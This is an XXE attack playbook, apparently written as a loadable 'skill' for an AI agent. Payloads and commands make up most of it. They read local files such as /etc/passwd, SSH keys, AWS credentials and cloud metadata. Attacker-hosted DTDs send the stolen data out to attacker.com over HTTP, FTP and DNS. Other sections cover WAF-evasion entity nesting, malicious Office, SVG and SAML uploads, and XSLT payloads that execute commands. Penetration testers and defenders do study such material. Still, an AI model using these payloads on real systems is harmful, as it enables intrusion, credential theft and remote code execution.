Xxe XML External Entity

SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion SCENARIOS.md.

0. RELATED ROUTING

Also load:

• upload insecure files when XXE is reachable through SVG, OOXML, import, or preview pipelines

Extended Scenarios

Also load SCENARIOS.md when you need:

• Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE
• Office docx XXE step-by-step — unzip → inject DOCTYPE into word/document.xml or [Content_Types].xml → repackage → upload
• DOCTYPE-based blind SSRF — PUBLIC external DTD reference triggers HTTP callback without entity reflection
• PHP expect:// protocol via XXE — direct command execution when expect extension is installed
• Blind XXE via error messages — force file path error that leaks content in exception text
• XXE in SOAP web services — inject entities into SOAP Envelope/Body elements

1. CLASSIC XXE PAYLOAD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

If /etc/passwd reflects in response → confirmed file read.

2. ATTACK SURFACE DISCOVERY

Direct XML Inputs

• SOAP endpoints (text/xml, application/soap+xml)
• REST APIs accepting application/xml
• File upload: .xlsx, .docx, .pptx (Office Open XML)
• SVG uploads (SVG is XML)
• RSS/Atom feed parsers
• Web services with XML config import

Non-Obvious XML Processing

Change Content-Type header on any JSON POST to:

Content-Type: application/xml

Then rewrite body as XML — many backends use dual-format parsers or auto-detect.

PDF Generators

Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.

3. OOB (OUT-OF-BAND) XXE — CRITICAL

Use when direct entity reflection fails (server parses but doesn't echo entity content):

Step 1: Blind detection

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>

DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).

Step 2: OOB file exfiltration via attacker-hosted DTD

Attacker's server hosts a malicious DTD at http://attacker.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;

Payload sent to target:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&exfiltrate;</root>

File contents appear in attacker's HTTP server request log.

Step 3: Error-based OOB (alternative when HTTP blocked)

Use intentional error to leak data in error message:

<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;

4. XXE FILE READ TARGETS

Linux:

/etc/passwd
/etc/shadow  (requires root)
/etc/hosts
/proc/self/environ      ← environment variables (DB creds, API keys)
/proc/self/cmdline      ← process command line
/var/log/apache2/access.log  ← may contain passwords in URLs
/home/USER/.ssh/id_rsa  ← SSH private key
/home/USER/.aws/credentials ← AWS keys
/home/USER/.bash_history

Windows:

C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config    ← ASP.NET connection strings
C:\xampp\htdocs\wp-config.php    ← WordPress DB credentials
C:\Users\Administrator\.ssh\id_rsa

5. SVG XXE (file upload context)

When SVG uploads are accepted and served/processed:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
  <text font-size="16">&xxe;</text>
</svg>

Upload as .svg → GET /uploads/file.svg → file contents in response.

6. OFFICE FILE XXE (docx/xlsx/pptx)

Office files are ZIP archives containing XML. Inject into [Content_Types].xml or word/document.xml:

# Step 1: extract
unzip original.docx -d extracted/

# Step 2: edit word/document.xml — add malicious DTD
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then use &xxe; inside document text

# Step 3: repackage
cd extracted && zip -r ../malicious.docx .

7. SOAP ENDPOINT XXE

SOAP requests parse XML by definition. Inject external entity into SOAP envelope:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser>
      <id>&xxe;</id>
    </getUser>
  </soap:Body>
</soap:Envelope>

8. XXE → SSRF CHAIN

XXE external entity can point to internal HTTP endpoints (identical to SSRF):

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

This combines XXE file read + SSRF into a single payload.

9. XInclude ATTACK

When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

Works in: Apache Cocoon, Xerces-J, libxml2 with XInclude support enabled.

10. PROTOCOL HANDLERS IN XXE

<!-- HTTP (SSRF) -->
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">

<!-- File read -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- PHP wrapper (if PHP with libxml2) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- Decode base64 in response to get file contents -->

<!-- FTP (exfil / port scan) -->
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">

<!-- Gopher (Redis, SMTP) -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">

11. BYPASSING DEFENSES

Parser blocks DOCTYPE

Try XInclude (no DOCTYPE needed, see §9).

Only allows specific XML schemas

If schema validation occurs: inject comments or CDATA after schema validation but before entity processing.

Response encoding issues (binary in response)

Use PHP filter for base64:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Network restrictions on OOB

Use DNS-only OOB via SYSTEM "file://HASH.attacker.com" — no HTTP required, DNS lookup leaks data.

12. QUICK DETECTION CHECKLIST

□ Find XML input point (or JSON→XML transformation)
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
□ If yes → file read: SYSTEM "file:///etc/passwd"
□ If no reflection → OOB test via Collaborator URL
□ If OOB hit → set up attacker DTD for file exfiltration
□ Try SVG upload with XXE
□ Try Content-Type: application/xml on JSON endpoints
□ Try XInclude if DOCTYPE-based fails

13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION)

When external entities are blocked but local DTD files exist on the server:

Technique

<!-- Override an entity defined in a LOCAL DTD file -->
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>

Common Local DTD Paths

Linux

/usr/share/yelp/dtd/docbookx.dtd           # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd         # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd     # Apache Struts
/usr/share/nmap/nmap.dtd                    # Nmap
/opt/zaproxy/xml/alert.dtd                  # OWASP ZAP

Windows

C:\Windows\System32\wbem\xml\cim20.dtd            # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd             # WMI
C:\Program Files\IBM\WebSphere\*.dtd               # WebSphere
C:\Program Files (x86)\Lotus\*.dtd                 # Lotus Notes

Inside JAR Files (Java Applications)

jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd

Why This Works

• External connections blocked (firewall/WAF/egress filter)
• But file:// to LOCAL files is usually allowed
• Local DTD is trusted → entity overrides inject attacker-controlled definitions
• Error messages or blind extraction via file:// still works

14. ADDITIONAL OOB EXFILTRATION CHANNELS

FTP-based exfiltration (line-by-line)

FTP protocol sends data line-by-line, making it useful for multi-line file exfiltration when HTTP-based OOB truncates at newlines:

<!-- attacker.com/ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;

Run a rogue FTP server (e.g., xxeserv or custom Python) on port 2121 — each line of the file arrives as a separate RETR or CWD command.

HTTP parameter exfiltration

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;

Base64 encoding avoids newline/special-character issues in HTTP URL. Decode the d= parameter on attacker server.

15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING

Parameter entity within parameter entity

Used to bypass parsers that block direct entity references in entity values:

<!DOCTYPE foo [
  <!ENTITY % a "&#x25; b;">
  <!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
  %a;
]>

The parser expands %a; → %b; → fetches external DTD. Some WAFs only inspect the first level of entity definitions.

Triple-nested for filter evasion

<!-- attacker.com/stage1.dtd -->
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;

<!-- attacker.com/stage2.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;

Payload sent to target only references stage1.dtd — the actual file read happens two DTD fetches deep, evading shallow WAF inspection.

16. XXE IN NON-OBVIOUS FORMATS

SAML XXE

<!-- Base64-decode the SAMLResponse, inject DOCTYPE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

Re-encode to base64, submit as SAMLResponse parameter.

17. XXE VIA FILE UPLOAD

SVG upload

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="50" font-size="14">&xxe;</text>
</svg>

Upload as avatar/image → view uploaded SVG → file content rendered as text.

XLSX (Excel) upload

# 1. Create minimal .xlsx, unzip it
unzip report.xlsx -d xlsx_tmp/

# 2. Inject into xl/sharedStrings.xml
# Add after XML declaration:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Replace a <t> element content with &xxe;

# 3. Repackage
cd xlsx_tmp && zip -r ../malicious.xlsx .

Alternatively inject into [Content_Types].xml (parsed first by most OOXML processors).

DOCX upload

# Target: word/document.xml
# Same approach: unzip → inject DOCTYPE + entity → repackage

# Alternative: inject into customXml/item1.xml if custom XML parts exist

Processing pipeline attack

Even if the uploaded file is not directly rendered, the server-side parser (Apache POI, python-docx, OpenXML SDK) may process entities during import, triggering OOB exfiltration.

18. ERROR-BASED XXE

Force the XML parser to generate an error message containing file content:

Method 1: Non-existent file reference

<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

The parser attempts to open file:///nonexistent/<hostname_content> → error message includes the hostname value.

Method 2: XML schema validation error

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'jar:file:///nonexistent!/%file;'>">
  %eval;
  %err;
]>

The jar: protocol handler generates verbose error messages that include the expanded entity value.

Method 3: Integer overflow / type error

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'file:///%file;'>">
%int;
%trick;

Parser tries to open a file path containing the target file content → error message reveals content.

19. XSLT INJECTION CONNECTION TO XXE

XSLT processors parse XML and can be chained with XXE:

XSLT file read

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

XSLT RCE (processor-dependent)

<!-- Xalan-J (Java) -->
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
  </xsl:template>
</xsl:stylesheet>

<!-- PHP (libxslt with registerPHPFunctions) -->
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system','id')"/>
  </xsl:template>
</xsl:stylesheet>

XXE → XSLT chain

If the target accepts XML input with a stylesheet reference (<?xml-stylesheet?>), inject both an external entity and a malicious XSLT to escalate from file read to RCE.